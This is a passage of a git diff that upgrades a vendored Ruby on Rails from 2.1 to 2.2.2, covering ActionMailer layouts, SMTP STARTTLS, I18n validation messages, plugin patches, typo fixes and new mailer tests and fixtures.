-|includePartial|partial|source=Selenese|
-
+Selenese *support*
+
+|open|/selenium/setup|
+|goBack|
+|includePartial|partial|source=Selenese|
+
works.
\ No newline at end of file
diff --git a/vendor/plugins/skinny_spec/lib/lucky_sneaks/model_spec_helpers.rb b/vendor/plugins/skinny_spec/lib/lucky_sneaks/model_spec_helpers.rb
index 4d65f276..471e8c2c 100644
--- a/vendor/plugins/skinny_spec/lib/lucky_sneaks/model_spec_helpers.rb
+++ b/vendor/plugins/skinny_spec/lib/lucky_sneaks/model_spec_helpers.rb
@@ -228,7 +228,7 @@ module LuckySneaks
# Creates an expectation that the current model being spec'd validates_presence_of
# the specified attribute. Takes an optional custom message to match the one in the model's
# validation.
- def it_should_validate_presence_of(attribute, message = ActiveRecord::Errors.default_error_messages[:blank])
+ def it_should_validate_presence_of(attribute, message = I18n.translate('activerecord.errors.messages')[:blank])
it "should not be valid if #{attribute} is blank" do
instance.send "#{attribute}=", nil
instance.errors_on(attribute).should include(message)
@@ -238,7 +238,7 @@ module LuckySneaks
# Creates an expectation that the current model being spec'd validates_numericality_of
# the specified attribute. Takes an optional custom message to match the one in the model's
# validation.
- def it_should_validate_numericality_of(attribute, message = ActiveRecord::Errors.default_error_messages[:not_a_number])
+ def it_should_validate_numericality_of(attribute, message = I18n.translate('activerecord.errors.messages')[:not_a_number])
it "should validate #{attribute} is a numeric" do
instance.send "#{attribute}=", "NaN"
instance.errors_on(attribute).should include(message)
@@ -248,7 +248,7 @@ module LuckySneaks
# Creates an expectation that the current model being spec'd validates_confirmation_of
# the specified attribute. Takes an optional custom message to match the one in the model's
# validation.
- def it_should_validate_confirmation_of(attribute, message = ActiveRecord::Errors.default_error_messages[:confirmation])
+ def it_should_validate_confirmation_of(attribute, message = I18n.translate('activerecord.errors.messages')[:confirmation])
it "should validate confirmation of #{attribute}" do
dummy_value = dummy_value_for(instance, attribute) || "try a string"
instance.send "#{attribute}=", dummy_value
@@ -263,7 +263,7 @@ module LuckySneaks
#
# Note: This method will fail completely if valid_attributes
# does not provide all the attributes needed to create a valid record.
- def it_should_validate_uniqueness_of(attribute, message = ActiveRecord::Errors.default_error_messages[:taken])
+ def it_should_validate_uniqueness_of(attribute, message = I18n.translate('activerecord.errors.messages')[:taken])
it "should validate #{attribute} confirmation" do
previous_instance = class_for(self.class.description_text).create!(valid_attributes)
instance.attributes = valid_attributes
diff --git a/vendor/plugins/unobtrusive_javascript/lib/actionview_helpers_patches.rb b/vendor/plugins/unobtrusive_javascript/lib/actionview_helpers_patches.rb
index fa91d9d8..0ce3ed03 100644
--- a/vendor/plugins/unobtrusive_javascript/lib/actionview_helpers_patches.rb
+++ b/vendor/plugins/unobtrusive_javascript/lib/actionview_helpers_patches.rb
@@ -11,6 +11,14 @@ end
class ActionView::Helpers::InstanceTag
include UJS::Helpers
+ def current_controller
+ ActionView::Helpers.current_controller
+ end
+end
+
+class ActionView::Helpers::DateTimeSelector
+ include UJS::Helpers
+
def current_controller
ActionView::Helpers.current_controller
end
diff --git a/vendor/rails/.gitignore b/vendor/rails/.gitignore
deleted file mode 100644
index 8c5dfb64..00000000
--- a/vendor/rails/.gitignore
+++ /dev/null
@@ -1,14 +0,0 @@
-debug.log
-activeresource/doc
-activerecord/doc
-actionpack/doc
-actionmailer/doc
-activesupport/doc
-railties/doc
-activeresource/pkg
-activerecord/pkg
-actionpack/pkg
-actionmailer/pkg
-activesupport/pkg
-railties/pkg
-*.rbc
diff --git a/vendor/rails/Rakefile b/vendor/rails/Rakefile
deleted file mode 100644
index 11d205a7..00000000
--- a/vendor/rails/Rakefile
+++ /dev/null
@@ -1,21 +0,0 @@
-require 'rake'
-
-env = %(PKG_BUILD="#{ENV['PKG_BUILD']}") if ENV['PKG_BUILD']
-
-PROJECTS = %w(activesupport actionpack actionmailer activeresource activerecord railties)
-
-Dir["#{File.dirname(__FILE__)}/*/lib/*/version.rb"].each do |version_path|
- require version_path
-end
-
-desc 'Run all tests by default'
-task :default => :test
-
-%w(test rdoc package pgem release).each do |task_name|
- desc "Run #{task_name} task for all projects"
- task task_name do
- PROJECTS.each do |project|
- system %(cd #{project} && #{env} #{$0} #{task_name})
- end
- end
-end
diff --git a/vendor/rails/actionmailer/CHANGELOG b/vendor/rails/actionmailer/CHANGELOG
index bdae0d4d..de5aeab0 100644
--- a/vendor/rails/actionmailer/CHANGELOG
+++ b/vendor/rails/actionmailer/CHANGELOG
@@ -1,3 +1,16 @@
+*2.2.1 [RC2] (November 14th, 2008)*
+
+* Turn on STARTTLS if it is available in Net::SMTP (added in Ruby 1.8.7) and the SMTP server supports it (This is required for Gmail's SMTP server) #1336 [Grant Hollingworth]
+
+
+*2.2.0 [RC1] (October 24th, 2008)*
+
+* Add layout functionality to mailers [Pratik]
+
+ Mailer layouts behaves just like controller layouts, except layout names need to
+ have '_mailer' postfix for them to be automatically picked up.
+
+
*2.1.0 (May 31st, 2008)*
* Fixed that a return-path header would be ignored #7572 [joost]
diff --git a/vendor/rails/actionmailer/README b/vendor/rails/actionmailer/README
old mode 100755
new mode 100644
diff --git a/vendor/rails/actionmailer/Rakefile b/vendor/rails/actionmailer/Rakefile
old mode 100755
new mode 100644
index c09526cb..572766ea
--- a/vendor/rails/actionmailer/Rakefile
+++ b/vendor/rails/actionmailer/Rakefile
@@ -35,7 +35,7 @@ Rake::RDocTask.new { |rdoc|
rdoc.title = "Action Mailer -- Easy email delivery and testing"
rdoc.options << '--line-numbers' << '--inline-source' << '-A cattr_accessor=object'
rdoc.options << '--charset' << 'utf-8'
- rdoc.template = "#{ENV['template']}.rb" if ENV['template']
+ rdoc.template = ENV['template'] ? "#{ENV['template']}.rb" : '../doc/template/horo'
rdoc.rdoc_files.include('README', 'CHANGELOG')
rdoc.rdoc_files.include('lib/action_mailer.rb')
rdoc.rdoc_files.include('lib/action_mailer/*.rb')
@@ -55,7 +55,7 @@ spec = Gem::Specification.new do |s|
s.rubyforge_project = "actionmailer"
s.homepage = "http://www.rubyonrails.org"
- s.add_dependency('actionpack', '= 2.1.0' + PKG_BUILD)
+ s.add_dependency('actionpack', '= 2.2.2' + PKG_BUILD)
s.has_rdoc = true
s.requirements << 'none'
@@ -76,12 +76,13 @@ end
desc "Publish the API documentation"
task :pgem => [:package] do
- Rake::SshFilePublisher.new("davidhh@wrath.rubyonrails.org", "public_html/gems/gems", "pkg", "#{PKG_FILE_NAME}.gem").upload
+ Rake::SshFilePublisher.new("gems.rubyonrails.org", "/u/sites/gems/gems", "pkg", "#{PKG_FILE_NAME}.gem").upload
+ `ssh gems.rubyonrails.org '/u/sites/gems/gemupdate.sh'`
end
desc "Publish the API documentation"
task :pdoc => [:rdoc] do
- Rake::SshDirPublisher.new("davidhh@wrath.rubyonrails.org", "public_html/am", "doc").upload
+ Rake::SshDirPublisher.new("wrath.rubyonrails.org", "public_html/am", "doc").upload
end
desc "Publish the release files to RubyForge."
diff --git a/vendor/rails/actionmailer/lib/action_mailer.rb b/vendor/rails/actionmailer/lib/action_mailer.rb
old mode 100755
new mode 100644
index 2e324d46..2a9210de
--- a/vendor/rails/actionmailer/lib/action_mailer.rb
+++ b/vendor/rails/actionmailer/lib/action_mailer.rb
@@ -21,13 +21,13 @@
# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
#++
-unless defined?(ActionController)
- begin
- $:.unshift "#{File.dirname(__FILE__)}/../../actionpack/lib"
+begin
+ require 'action_controller'
+rescue LoadError
+ actionpack_path = "#{File.dirname(__FILE__)}/../../actionpack/lib"
+ if File.directory?(actionpack_path)
+ $:.unshift actionpack_path
require 'action_controller'
- rescue LoadError
- require 'rubygems'
- gem 'actionpack', '>= 1.12.5'
end
end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/base.rb b/vendor/rails/actionmailer/lib/action_mailer/base.rb
index e0651321..19ce77ea 100644
--- a/vendor/rails/actionmailer/lib/action_mailer/base.rb
+++ b/vendor/rails/actionmailer/lib/action_mailer/base.rb
@@ -216,7 +216,7 @@ module ActionMailer #:nodoc:
# * :domain - If you need to specify a HELO domain, you can do it here.
# * :user_name - If your mail server requires authentication, set the username in this setting.
# * :password - If your mail server requires authentication, set the password in this setting.
- # * :authentication - If your mail server requires authentication, you need to specify the authentication type here.
+ # * :authentication - If your mail server requires authentication, you need to specify the authentication type here.
# This is a symbol and one of :plain, :login, :cram_md5.
#
# * sendmail_settings - Allows you to override options for the :sendmail delivery method.
@@ -233,10 +233,10 @@ module ActionMailer #:nodoc:
# * deliveries - Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful
# for unit and functional testing.
#
- # * default_charset - The default charset used for the body and to encode the subject. Defaults to UTF-8. You can also
+ # * default_charset - The default charset used for the body and to encode the subject. Defaults to UTF-8. You can also
# pick a different charset from inside a method with +charset+.
# * default_content_type - The default content type used for the main part of the message. Defaults to "text/plain". You
- # can also pick a different content type from inside a method with +content_type+.
+ # can also pick a different content type from inside a method with +content_type+.
# * default_mime_version - The default mime version used for the message. Defaults to 1.0. You
# can also pick a different value from inside a method with +mime_version+.
# * default_implicit_parts_order - When a message is built implicitly (i.e. multiple parts are assembled from templates
@@ -246,16 +246,16 @@ module ActionMailer #:nodoc:
# +implicit_parts_order+.
class Base
include AdvAttrAccessor, PartContainer
- include ActionController::UrlWriter if Object.const_defined?(:ActionController)
+ if Object.const_defined?(:ActionController)
+ include ActionController::UrlWriter
+ include ActionController::Layout
+ end
private_class_method :new #:nodoc:
- class_inheritable_accessor :template_root
+ class_inheritable_accessor :view_paths
cattr_accessor :logger
- cattr_accessor :template_extensions
- @@template_extensions = ['erb', 'builder', 'rhtml', 'rxml']
-
@@smtp_settings = {
:address => "localhost",
:port => 25,
@@ -296,6 +296,9 @@ module ActionMailer #:nodoc:
@@default_implicit_parts_order = [ "text/html", "text/enriched", "text/plain" ]
cattr_accessor :default_implicit_parts_order
+ cattr_reader :protected_instance_variables
+ @@protected_instance_variables = %w(@body)
+
# Specify the BCC addresses for the message
adv_attr_accessor :bcc
@@ -365,6 +368,7 @@ module ActionMailer #:nodoc:
# The mail object instance referenced by this mailer.
attr_reader :mail
+ attr_reader :template_name, :default_template_name, :action_name
class << self
attr_writer :mailer_name
@@ -377,12 +381,20 @@ module ActionMailer #:nodoc:
alias_method :controller_name, :mailer_name
alias_method :controller_path, :mailer_name
- def method_missing(method_symbol, *parameters)#:nodoc:
- case method_symbol.id2name
- when /^create_([_a-z]\w*)/ then new($1, *parameters).mail
- when /^deliver_([_a-z]\w*)/ then new($1, *parameters).deliver!
- when "new" then nil
- else super
+ def respond_to?(method_symbol, include_private = false) #:nodoc:
+ matches_dynamic_method?(method_symbol) || super
+ end
+
+ def method_missing(method_symbol, *parameters) #:nodoc:
+ if match = matches_dynamic_method?(method_symbol)
+ case match[1]
+ when 'create' then new(match[2], *parameters).mail
+ when 'deliver' then new(match[2], *parameters).deliver!
+ when 'new' then nil
+ else super
+ end
+ else
+ super
end
end
@@ -414,21 +426,25 @@ module ActionMailer #:nodoc:
new.deliver!(mail)
end
- # Register a template extension so mailer templates written in a
- # templating language other than rhtml or rxml are supported.
- # To use this, include in your template-language plugin's init
- # code or on a per-application basis, this can be invoked from
- # config/environment.rb:
- #
- # ActionMailer::Base.register_template_extension('haml')
def register_template_extension(extension)
- template_extensions << extension
+ ActiveSupport::Deprecation.warn(
+ "ActionMailer::Base.register_template_extension has been deprecated." +
+ "Use ActionView::Base.register_template_extension instead", caller)
+ end
+
+ def template_root
+ self.view_paths && self.view_paths.first
end
def template_root=(root)
- write_inheritable_attribute(:template_root, root)
- ActionView::TemplateFinder.process_view_paths(root)
+ self.view_paths = ActionView::Base.process_view_paths(root)
end
+
+ private
+ def matches_dynamic_method?(method_name) #:nodoc:
+ method_name = method_name.to_s
+ /^(create|deliver)_([_a-z]\w*)/.match(method_name) || /^(new)$/.match(method_name)
+ end
end
# Instantiate a new mailer object. If +method_name+ is not +nil+, the mailer
@@ -452,16 +468,18 @@ module ActionMailer #:nodoc:
# "the_template_file.text.html.erb", etc.). Only do this if parts
# have not already been specified manually.
if @parts.empty?
- templates = Dir.glob("#{template_path}/#{@template}.*")
- templates.each do |path|
- basename = File.basename(path)
- template_regex = Regexp.new("^([^\\\.]+)\\\.([^\\\.]+\\\.[^\\\.]+)\\\.(" + template_extensions.join('|') + ")$")
- next unless md = template_regex.match(basename)
- template_name = basename
- content_type = md.captures[1].gsub('.', '/')
- @parts << Part.new(:content_type => content_type,
- :disposition => "inline", :charset => charset,
- :body => render_message(template_name, @body))
+ Dir.glob("#{template_path}/#{@template}.*").each do |path|
+ template = template_root["#{mailer_name}/#{File.basename(path)}"]
+
+ # Skip unless template has a multipart format
+ next unless template && template.multipart?
+
+ @parts << Part.new(
+ :content_type => template.content_type,
+ :disposition => "inline",
+ :charset => charset,
+ :body => render_message(template, @body)
+ )
end
unless @parts.empty?
@content_type = "multipart/alternative"
@@ -474,7 +492,7 @@ module ActionMailer #:nodoc:
# normal template exists (or if there were no implicit parts) we render
# it.
template_exists = @parts.empty?
- template_exists ||= Dir.glob("#{template_path}/#{@template}.*").any? { |i| File.basename(i).split(".").length == 2 }
+ template_exists ||= template_root["#{mailer_name}/#{@template}"]
@body = render_message(@template, @body) if template_exists
# Finally, if there are other message parts and a textual body exists,
@@ -522,6 +540,7 @@ module ActionMailer #:nodoc:
@content_type ||= @@default_content_type.dup
@implicit_parts_order ||= @@default_implicit_parts_order.dup
@template ||= method_name
+ @default_template_name = @action_name = @template
@mailer_name ||= self.class.name.underscore
@parts ||= []
@headers ||= {}
@@ -535,10 +554,33 @@ module ActionMailer #:nodoc:
def render(opts)
body = opts.delete(:body)
- if opts[:file] && opts[:file] !~ /\//
+ if opts[:file] && (opts[:file] !~ /\// && !opts[:file].respond_to?(:render))
opts[:file] = "#{mailer_name}/#{opts[:file]}"
end
- initialize_template_class(body).render(opts)
+
+ begin
+ old_template, @template = @template, initialize_template_class(body)
+ layout = respond_to?(:pick_layout, true) ? pick_layout(opts) : false
+ @template.render(opts.merge(:layout => layout))
+ ensure
+ @template = old_template
+ end
+ end
+
+ def default_template_format
+ :html
+ end
+
+ def candidate_for_layout?(options)
+ !@template.send(:_exempt_from_layout?, default_template_name)
+ end
+
+ def template_root
+ self.class.template_root
+ end
+
+ def template_root=(root)
+ self.class.template_root = root
end
def template_path
@@ -546,7 +588,7 @@ module ActionMailer #:nodoc:
end
def initialize_template_class(assigns)
- ActionView::Base.new([template_root], assigns, self)
+ ActionView::Base.new(view_paths, assigns, self)
end
def sort_parts(parts, order = [])
@@ -624,8 +666,10 @@ module ActionMailer #:nodoc:
mail.ready_to_send
sender = mail['return-path'] || mail.from
- Net::SMTP.start(smtp_settings[:address], smtp_settings[:port], smtp_settings[:domain],
- smtp_settings[:user_name], smtp_settings[:password], smtp_settings[:authentication]) do |smtp|
+ smtp = Net::SMTP.new(smtp_settings[:address], smtp_settings[:port])
+ smtp.enable_starttls_auto if smtp.respond_to?(:enable_starttls_auto)
+ smtp.start(smtp_settings[:domain], smtp_settings[:user_name], smtp_settings[:password],
+ smtp_settings[:authentication]) do |smtp|
smtp.sendmail(mail.encoded, sender, destinations)
end
end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/helpers.rb b/vendor/rails/actionmailer/lib/action_mailer/helpers.rb
index 9c5fcc6a..5f6dcd77 100644
--- a/vendor/rails/actionmailer/lib/action_mailer/helpers.rb
+++ b/vendor/rails/actionmailer/lib/action_mailer/helpers.rb
@@ -72,7 +72,7 @@ module ActionMailer
methods.flatten.each do |method|
master_helper_module.module_eval <<-end_eval
def #{method}(*args, &block)
- controller.send!(%(#{method}), *args, &block)
+ controller.__send__(%(#{method}), *args, &block)
end
end_eval
end
@@ -92,7 +92,7 @@ module ActionMailer
inherited_without_helper(child)
begin
child.master_helper_module = Module.new
- child.master_helper_module.send! :include, master_helper_module
+ child.master_helper_module.__send__(:include, master_helper_module)
child.helper child.name.to_s.underscore
rescue MissingSourceFile => e
raise unless e.is_missing?("helpers/#{child.name.to_s.underscore}_helper")
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/address.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/address.rb
index fa8e5bcd..982ad5b6 100644
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/address.rb
+++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/address.rb
@@ -38,7 +38,7 @@ module TMail
# = Class Address
#
# Provides a complete handling library for email addresses. Can parse a string of an
- # address directly or take in preformatted addresses themseleves. Allows you to add
+ # address directly or take in preformatted addresses themselves. Allows you to add
# and remove phrases from the front of the address and provides a compare function for
# email addresses.
#
@@ -143,7 +143,7 @@ module TMail
# This is to catch an unquoted "@" symbol in the local part of the
# address. Handles addresses like <"@"@me.com> and makes sure they
- # stay like <"@"@me.com> (previously were becomming <@@me.com>)
+ # stay like <"@"@me.com> (previously were becoming <@@me.com>)
if local && (local.join == '@' || local.join =~ /\A[^"].*?@.*?[^"]\Z/)
@local = "\"#{local.join}\""
else
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/header.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/header.rb
index 9153dcd7..dbdefcf9 100644
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/header.rb
+++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/header.rb
@@ -59,7 +59,7 @@ module TMail
#
# This is because a mailbox doesn't have the : after the From that designates the
# beginning of the envelope sender (which can be different to the from address of
- # the emial)
+ # the email)
#
# Other fields can be passed as normal, "Reply-To", "Received" etc.
#
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/interface.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/interface.rb
index a6d428d7..2fc2dbdf 100644
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/interface.rb
+++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/interface.rb
@@ -42,7 +42,7 @@ module TMail
# Allows you to query the mail object with a string to get the contents
# of the field you want.
#
- # Returns a string of the exact contnts of the field
+ # Returns a string of the exact contents of the field
#
# mail.from = "mikel "
# mail.header_string("From") #=> "mikel "
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/mail.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/mail.rb
index 5a319907..c3a8803d 100644
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/mail.rb
+++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/mail.rb
@@ -255,7 +255,7 @@ module TMail
alias fetch []
# Allows you to set or delete TMail header objects at will.
- # Eamples:
+ # Examples:
# @mail = TMail::Mail.new
# @mail['to'].to_s # => 'mikel@test.com.au'
# @mail['to'] = 'mikel@elsewhere.org'
@@ -265,7 +265,7 @@ module TMail
# @mail['to'].to_s # => nil
# @mail.encoded # => "\r\n"
#
- # Note: setting mail[] = nil actualy deletes the header field in question from the object,
+ # Note: setting mail[] = nil actually deletes the header field in question from the object,
# it does not just set the value of the hash to nil
def []=( key, val )
dkey = key.downcase
diff --git a/vendor/rails/actionmailer/lib/action_mailer/version.rb b/vendor/rails/actionmailer/lib/action_mailer/version.rb
index c35b648b..52659515 100644
--- a/vendor/rails/actionmailer/lib/action_mailer/version.rb
+++ b/vendor/rails/actionmailer/lib/action_mailer/version.rb
@@ -1,8 +1,8 @@
module ActionMailer
module VERSION #:nodoc:
MAJOR = 2
- MINOR = 1
- TINY = 0
+ MINOR = 2
+ TINY = 2
STRING = [MAJOR, MINOR, TINY].join('.')
end
diff --git a/vendor/rails/actionmailer/test/abstract_unit.rb b/vendor/rails/actionmailer/test/abstract_unit.rb
index 9b7a4661..1617b88c 100644
--- a/vendor/rails/actionmailer/test/abstract_unit.rb
+++ b/vendor/rails/actionmailer/test/abstract_unit.rb
@@ -1,6 +1,8 @@
require 'test/unit'
$:.unshift "#{File.dirname(__FILE__)}/../lib"
+$:.unshift "#{File.dirname(__FILE__)}/../../activesupport/lib"
+$:.unshift "#{File.dirname(__FILE__)}/../../actionpack/lib"
require 'action_mailer'
require 'action_mailer/test_case'
@@ -22,21 +24,32 @@ class MockSMTP
def sendmail(mail, from, to)
@@deliveries << [mail, from, to]
end
-end
-class Net::SMTP
- def self.start(*args)
- yield MockSMTP.new
+ def start(*args)
+ yield self
end
end
-# Wrap tests that use Mocha and skip if unavailable.
-def uses_mocha(test_name)
- gem 'mocha', ">=0.5"
- require 'stubba'
+class Net::SMTP
+ def self.new(*args)
+ MockSMTP.new
+ end
+end
+
+def uses_gem(gem_name, test_name, version = '> 0')
+ require 'rubygems'
+ gem gem_name.to_s, version
+ require gem_name.to_s
yield
-rescue Gem::LoadError
- $stderr.puts "Skipping #{test_name} tests (Mocha >= 0.5 is required). `gem install mocha` and try again."
+rescue LoadError
+ $stderr.puts "Skipping #{test_name} tests. `gem install #{gem_name}` and try again."
+end
+
+# Wrap tests that use Mocha and skip if unavailable.
+unless defined? uses_mocha
+ def uses_mocha(test_name, &block)
+ uses_gem('mocha', test_name, '>= 0.5.5', &block)
+ end
end
def set_delivery_method(delivery_method)
diff --git a/vendor/rails/actionmailer/test/fixtures/auto_layout_mailer/hello.html.erb b/vendor/rails/actionmailer/test/fixtures/auto_layout_mailer/hello.html.erb
new file mode 100644
index 00000000..54950788
--- /dev/null
+++ b/vendor/rails/actionmailer/test/fixtures/auto_layout_mailer/hello.html.erb
@@ -0,0 +1 @@
+Inside
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/test/fixtures/explicit_layout_mailer/logout.html.erb b/vendor/rails/actionmailer/test/fixtures/explicit_layout_mailer/logout.html.erb
new file mode 100644
index 00000000..0533a3b2
--- /dev/null
+++ b/vendor/rails/actionmailer/test/fixtures/explicit_layout_mailer/logout.html.erb
@@ -0,0 +1 @@
+You logged out
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/test/fixtures/explicit_layout_mailer/signup.html.erb b/vendor/rails/actionmailer/test/fixtures/explicit_layout_mailer/signup.html.erb
new file mode 100644
index 00000000..4789e888
--- /dev/null
+++ b/vendor/rails/actionmailer/test/fixtures/explicit_layout_mailer/signup.html.erb
@@ -0,0 +1 @@
+We do not spam
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/test/fixtures/layouts/auto_layout_mailer.html.erb b/vendor/rails/actionmailer/test/fixtures/layouts/auto_layout_mailer.html.erb
new file mode 100644
index 00000000..93227145
--- /dev/null
+++ b/vendor/rails/actionmailer/test/fixtures/layouts/auto_layout_mailer.html.erb
@@ -0,0 +1 @@
+Hello from layout <%= yield %>
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/test/fixtures/layouts/spam.html.erb b/vendor/rails/actionmailer/test/fixtures/layouts/spam.html.erb
new file mode 100644
index 00000000..619d6b16
--- /dev/null
+++ b/vendor/rails/actionmailer/test/fixtures/layouts/spam.html.erb
@@ -0,0 +1 @@
+Spammer layout <%= yield %>
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/test/fixtures/test_mailer/body_ivar.erb b/vendor/rails/actionmailer/test/fixtures/test_mailer/body_ivar.erb
new file mode 100644
index 00000000..1421e5c9
--- /dev/null
+++ b/vendor/rails/actionmailer/test/fixtures/test_mailer/body_ivar.erb
@@ -0,0 +1,2 @@
+body: <%= @body %>
+bar: <%= @bar %>
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/test/fixtures/test_mailer/implicitly_multipart_example.text.html.erb~ b/vendor/rails/actionmailer/test/fixtures/test_mailer/implicitly_multipart_example.text.html.erb~
new file mode 100644
index 00000000..946d99ed
--- /dev/null
+++ b/vendor/rails/actionmailer/test/fixtures/test_mailer/implicitly_multipart_example.text.html.erb~
@@ -0,0 +1,10 @@
+
+
+ HTML formatted message to <%= @recipient %>.
+
+
+
+
+ HTML formatted message to <%= @recipient %>.
+
+
diff --git a/vendor/rails/actionmailer/test/fixtures/test_mailer/signed_up.erb b/vendor/rails/actionmailer/test/fixtures/test_mailer/signed_up.html.erb
similarity index 100%
rename from vendor/rails/actionmailer/test/fixtures/test_mailer/signed_up.erb
rename to vendor/rails/actionmailer/test/fixtures/test_mailer/signed_up.html.erb
diff --git a/vendor/rails/actionmailer/test/mail_layout_test.rb b/vendor/rails/actionmailer/test/mail_layout_test.rb
new file mode 100644
index 00000000..ffba9a16
--- /dev/null
+++ b/vendor/rails/actionmailer/test/mail_layout_test.rb
@@ -0,0 +1,78 @@
+require 'abstract_unit'
+
+class AutoLayoutMailer < ActionMailer::Base
+ def hello(recipient)
+ recipients recipient
+ subject "You have a mail"
+ from "tester@example.com"
+ end
+
+ def spam(recipient)
+ recipients recipient
+ subject "You have a mail"
+ from "tester@example.com"
+ body render(:inline => "Hello, <%= @world %>", :layout => 'spam', :body => { :world => "Earth" })
+ end
+
+ def nolayout(recipient)
+ recipients recipient
+ subject "You have a mail"
+ from "tester@example.com"
+ body render(:inline => "Hello, <%= @world %>", :layout => false, :body => { :world => "Earth" })
+ end
+end
+
+class ExplicitLayoutMailer < ActionMailer::Base
+ layout 'spam', :except => [:logout]
+
+ def signup(recipient)
+ recipients recipient
+ subject "You have a mail"
+ from "tester@example.com"
+ end
+
+ def logout(recipient)
+ recipients recipient
+ subject "You have a mail"
+ from "tester@example.com"
+ end
+end
+
+class LayoutMailerTest < Test::Unit::TestCase
+ def setup
+ set_delivery_method :test
+ ActionMailer::Base.perform_deliveries = true
+ ActionMailer::Base.deliveries = []
+
+ @recipient = 'test@localhost'
+ end
+
+ def teardown
+ restore_delivery_method
+ end
+
+ def test_should_pickup_default_layout
+ mail = AutoLayoutMailer.create_hello(@recipient)
+ assert_equal "Hello from layout Inside", mail.body.strip
+ end
+
+ def test_should_pickup_layout_given_to_render
+ mail = AutoLayoutMailer.create_spam(@recipient)
+ assert_equal "Spammer layout Hello, Earth", mail.body.strip
+ end
+
+ def test_should_respect_layout_false
+ mail = AutoLayoutMailer.create_nolayout(@recipient)
+ assert_equal "Hello, Earth", mail.body.strip
+ end
+
+ def test_explicit_class_layout
+ mail = ExplicitLayoutMailer.create_signup(@recipient)
+ assert_equal "Spammer layout We do not spam", mail.body.strip
+ end
+
+ def test_explicit_layout_exceptions
+ mail = ExplicitLayoutMailer.create_logout(@recipient)
+ assert_equal "You logged out", mail.body.strip
+ end
+end
diff --git a/vendor/rails/actionmailer/test/mail_render_test.rb b/vendor/rails/actionmailer/test/mail_render_test.rb
index fbcd1887..45811612 100644
--- a/vendor/rails/actionmailer/test/mail_render_test.rb
+++ b/vendor/rails/actionmailer/test/mail_render_test.rb
@@ -20,13 +20,13 @@ class RenderMailer < ActionMailer::Base
subject "rendering rxml template"
from "tester@example.com"
end
-
+
def included_subtemplate(recipient)
recipients recipient
subject "Including another template in the one being rendered"
from "tester@example.com"
end
-
+
def included_old_subtemplate(recipient)
recipients recipient
subject "Including another template in the one being rendered"
@@ -83,17 +83,11 @@ class RenderHelperTest < Test::Unit::TestCase
mail = RenderMailer.deliver_rxml_template(@recipient)
assert_equal "\n", mail.body.strip
end
-
+
def test_included_subtemplate
mail = RenderMailer.deliver_included_subtemplate(@recipient)
assert_equal "Hey Ho, let's go!", mail.body.strip
end
-
- def test_deprecated_old_subtemplate
- assert_raises ActionView::ActionViewError do
- RenderMailer.deliver_included_old_subtemplate(@recipient)
- end
- end
end
class FirstSecondHelperTest < Test::Unit::TestCase
diff --git a/vendor/rails/actionmailer/test/mail_service_test.rb b/vendor/rails/actionmailer/test/mail_service_test.rb
old mode 100755
new mode 100644
index e5ecb0e2..b88beb33
--- a/vendor/rails/actionmailer/test/mail_service_test.rb
+++ b/vendor/rails/actionmailer/test/mail_service_test.rb
@@ -219,7 +219,7 @@ class TestMailer < ActionMailer::Base
end
attachment :content_type => "application/octet-stream",:filename => "test.txt", :body => "test abcdefghijklmnopqstuvwxyz"
end
-
+
def nested_multipart_with_body(recipient)
recipients recipient
subject "nested multipart with body"
@@ -273,6 +273,13 @@ class TestMailer < ActionMailer::Base
headers "return-path" => "another@somewhere.test"
end
+ def body_ivar(recipient)
+ recipients recipient
+ subject "Body as a local variable"
+ from "test@example.com"
+ body :body => "foo", :bar => "baz"
+ end
+
class <"
expected = new_mail "utf-8"
@@ -760,7 +758,7 @@ EOF
mail = TestMailer.create_multipart_with_mime_version(@recipient)
assert_equal "1.1", mail.mime_version
end
-
+
def test_multipart_with_utf8_subject
mail = TestMailer.create_multipart_with_utf8_subject(@recipient)
assert_match(/\nSubject: =\?utf-8\?Q\?Foo_.*?\?=/, mail.encoded)
@@ -825,7 +823,7 @@ EOF
mail = TestMailer.create_implicitly_multipart_example(@recipient, 'iso-8859-1')
assert_equal "multipart/alternative", mail.header['content-type'].body
-
+
assert_equal 'iso-8859-1', mail.parts[0].sub_header("content-type", "charset")
assert_equal 'iso-8859-1', mail.parts[1].sub_header("content-type", "charset")
assert_equal 'iso-8859-1', mail.parts[2].sub_header("content-type", "charset")
@@ -852,7 +850,7 @@ EOF
assert_equal "line #1\nline #2\nline #3\nline #4\n\n", mail.parts[0].body
assert_equal "
Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the list of commits in the main Rails repository on GitHub.
+
Along with Rails, 2.2 marks the launch of the Ruby on Rails Guides, the first results of the ongoing Rails Guides hackfest. This site will deliver high-quality documentation of the major features of Rails.
+
+
+
